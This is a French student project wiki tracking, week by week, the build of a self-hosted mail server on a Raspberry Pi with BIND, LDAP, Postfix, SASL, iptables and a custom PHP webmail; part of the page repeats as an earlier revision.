nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte

===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

P9 Système d'hébergement domestique

2016-02-02T12:27:33Z

Tteneur : /* Semaine 15 (11/01/2016) */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
